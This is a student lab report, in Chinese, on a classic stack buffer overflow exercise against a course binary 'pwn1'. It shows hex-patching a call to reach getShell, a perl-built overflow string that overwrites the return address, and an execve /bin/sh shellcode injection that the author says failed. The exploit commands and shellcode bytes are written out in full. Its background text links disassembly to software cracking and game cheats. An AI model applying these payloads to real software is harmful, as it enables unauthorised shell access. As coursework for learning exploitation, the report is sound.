20211919 《网络攻防实践》第九次作业
1.实践内容
手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
注入一个自己制作的shellcode并运行这段shellcode。
反汇编
编程原理
通常,编写程序是利用高级语言如C,C++,Delphi等高级语言进行编程的,然后再经过编译程序生成可以被计算机系统直接执行的文件(机器语言)。反汇编即是指将这些执行文件反编译还原成汇编语言或其他语言。但通常反编译出来的程序与原程序会存在些许不同,虽然执行效果相同,但程序代码会发生很大的变化,要读懂反汇编需要有扎实的高级语言编写功底和汇编功底。
折叠编辑本段作用及方式
折叠作用
有许多程序可以进行逆向操作即反编译以求修改,例如Flash的文件生成的SWF文件,可以被反汇编成Flash原码,但可以发现与原程序代码发生了很大变化。
网络上的许多"免费软件",PSP PS NDS游戏机的破解和苹果iOS系统的越狱都跟反汇编息息相关。
折叠静态反汇编
静态反汇编是从反汇编出来的程序清单上分析,从提示信息入手进行分析。大多数软件在设计时,都采用了人机对话方式。所谓人机对话,即在软件运行过程中,需要由用户选择的地方,软件即显示相应的提示信息,并等待用户按键选择。而在执行完某一段程序之后,便显示一串提示信息,以反映该段程序运行后的状态,是正常运行,还是出现错误,或者提示用户进行下一步工作的帮助信息。为此,如果我们对静态反汇编出来的程序清单进行阅读,可了解软件的编程思路,以便顺利破解该软件,也就是我们常说的破解版即盗版。反汇编亦是外挂设计最重要的环节,可以说没有反汇编就没有外挂。 常用的静态分析工具是W32DASM、PEiD、FileInfo、 Hex Rays Ida和HIEW等。
折叠编辑本段相关工具
反汇编工具如:OD、IDA Pro、radare2、DEBUG、C32等。
反汇编可以通过反汇编的一些软件实现,比如DEBUG就能实现反汇编,当DEBUG文件位置设置为-u时,即可实现反汇编。 而使用OD实现反汇编时,杀毒软件可能会报告有病毒与木马产生,此时排除即可,且使用OD需要有扎实的基础才能看懂
2.实践过程
2.1 手工修改可执行文件
首先在云班课下载pwn1文件到kali里面
输入objdump -d pwn1 | more
,对pwn1文件进行反汇编,并且使得目标文件pwn1分页显示。
在该界面输入/getShell
,快速锁定到getShell、foo和main函数。
在上图中,可以看到main函数中第四行是在调用08048491地址的foo函数,且其对应的机器指令为:e8 d7 ff ff ff
,其中e8表示指令id,后面四个字面是要跳到的指令id,是补码形式。此时eip寄存器中的值为下条指令80484ba的地址。三者关系:80484ba+ d7 ff ff ff=08048491。
要实现直接跳转到getShell函数,就只需要修改foo函数的地址为getShell函数地址(上图中有)即可。用上述关系计算:804847d-80484ba =c3 ff ff ff。可得要修改的机器指令为:e8 c3 ff ff ff。
下面我们进行具体修改:
用cp pwn1 pwn2_20211919
对pwn1文件进行保护,防止破坏,然后输入vi pwn2_20211919
对pwn2_20211919文件进行修改。
上图中的源代码格式修改起来不太容易,按esc键并输入:%!xxd
将其变为16进制。
然后:wq
保存退出,查看文件权限ls -l
再次进入pwn2_20211919文件,进行修改。输入/e8 d7
找到要修改内容的位置,根据上述分析,将d7 改为 c3
输入:%!xxd -r
还原为原格式后,:wq
保存退出。
此处验证一下 objdump -d pwn20211919 | more
定位过去发现已经成功修改。
最后再运行一下以前的文件pwn1和修改后的文件pwn20211919。发现pwn1是在复现,而pwn20211919是一个shell。
2.2 构造攻击输入字符串
输入 objdump -d pwn1 | more
查看pwn1文件调用foo函数,仔细分析后发现foo函数存在漏洞:系统仅预留了0x1c字节的缓冲器,超出部分将发生溢出。
根据其他同学的下图,可以看出缓冲区大小为28字节,覆盖返回地址即覆盖eip寄存器中的值,也就是33-36字节。
下面开始具体操作:
输出 gbd pwn1
对文件pwn1进行调试
,再输入r
运行。然后输入字符串“1111111122222222333333334444444412345678”,从下图可以看出显示出错。
输入info r
查看寄存器的值,发现epi的值为:0x34333231(1234对应的ASCII码值),可见字符串的33-36的字节将EIP寄存器覆盖。由此分析,要想成功让main函数调用getShell函数,我们只需要将第33-36字节对应改为getShell的内存地址即可。在第一个实践中,已经知道getShell的内存地址为0804847d,故可以得到要输入的字符串为“11111111222222223333333344444444\x7d\x84\x04\x08”
要想将上述字符串成功输入,先要生成一个20211919文件。
输入perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > 20211919
其中\x0a表示回车。然后输入xxd 20211919
查看20211919文件的内容是否如预期。接着输入(cat 20211919; cat) | ./pwn1
,将20211919的输入,作为pwn1的输入。最后输入ls进行测试,发现程序成功调用了getShell函数。
2.3 制作shellcode
本次实验参考https://www.cnblogs.com/xicyannn/p/12373066.html进行。
第一步要准备好一段shellcode,参考上述博客,使用的shellcode如下:
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\
接下来先安装execstack:
当输入apt-get install execstack
进行安装时,提示出错,最后根据3.里的2解决了问题。
随后依次进行下列操作:
使用输出重定向将perl生成的字符串存储到文件input20211919中:
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input20211919
接着输入(cat input20211919;cat) | ./pwn1
注入攻击buf。此处千万不要按回车!!!
先将上一个终端放在那里,再重新打开一个终端,输入ps -ef | grep pwn1
查看pwn1的进程号。
从上图可以看出进程号为24126
接着输入gdb
,进入gdb调试,输入attach 24126
查看pwn1进程,输入disassemble foo
.
接着输入break *0x080484ae
在0x080484ae处设置断点。
接着返回第一个终端按下回车,再返回第二个终端输入c
继续运行。输入info r esp
查看栈顶指针所在的位置为“0xffffd5ac”。接着输入x/16x 0xffffd5ac
,发现“0xffffd5ac”中有值“01020304”。
由上述可以算出shellcode地址就是 0xffffd6bc+0x00000004,即0xffffd6c0
。
接着退出gbd,输入:perl -e 'print "A" x 32;print "\xc0\xd6\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input20211919
重新构造input20211919文件。
最后执行(cat input20211919;cat) | ./pwn1
.这时候应该已经调用了getShell函数,进行一下测试,输入ls
,
由于此处在上面第一个终端按了回车,导致失败。重新创一个文件input_shellcode,重来一次后仍然失败。暂时还没有找到解决办法.
3.学习中遇到的问题及解决
1、在实践中使用gdb时,kali没有自带,使用口令安装失败,后百度使用软件成功安装。https://blog.csdn.net/Sunnyside_/article/details/107896603
2.在实践3中,安装execstack时显示E: Unable to locate package execstack
后参考其他同学进行了修改。具体修改参考:https://www.cnblogs.com/yu757503836/p/16250460.html
3.在实践3中,第一个终端输入(cat input20211919;cat) | ./pwn1
注入攻击buf 时,千万不要按回车,会导致实验失败。
4.实践总结
这次实践需要很多的基础知识储备,很多都不是很理解,只是复现了出来。但是也学到了反汇编语言和缓冲区溢出漏洞等知识点。